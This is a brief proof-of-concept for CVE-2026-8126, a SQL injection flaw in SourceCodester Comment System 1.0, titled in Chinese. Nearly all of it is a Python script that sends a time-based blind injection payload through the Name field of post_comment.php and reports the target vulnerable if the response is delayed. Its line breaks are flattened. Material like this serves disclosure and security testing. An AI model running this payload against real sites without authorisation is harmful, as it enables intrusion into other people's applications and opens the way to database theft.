CVE-2026-8126 SourceCodester评论系统SQL注入漏洞

import requests def check_sqli(url): """ PoC for CVE-2026-8126 SQL Injection in SourceCodester Comment System 1.0 Target file: post_comment.php Vulnerable parameter: Name """ target_endpoint = f"{url}/post_comment.php" # Time-based blind SQL injection payload # If the database pauses for 5 seconds, the vulnerability is confirmed. payload = "test' AND (SELECT SLEEP(5))-- -" # Post data structure simulating a comment submission data = { "Name": payload, "Comment": "Checking vulnerability", "submit": "Submit" } try: print(f"[*] Sending request to {target_endpoint}...") response = requests.post(target_endpoint, data=data, timeout=10) # Check if the response time indicates a delay (SQL injection success) if response.elapsed.total_seconds() >= 5: print("[+] Vulnerability confirmed! The application is vulnerable to SQL Injection.") else: print("[-] Vulnerability not detected or payload failed.") except requests.exceptions.RequestException as e: print(f"[!] Error occurred: {e}") if __name__ == "__main__": # Replace with the actual target URL target_url = "http://example.com" check_sqli(target_url)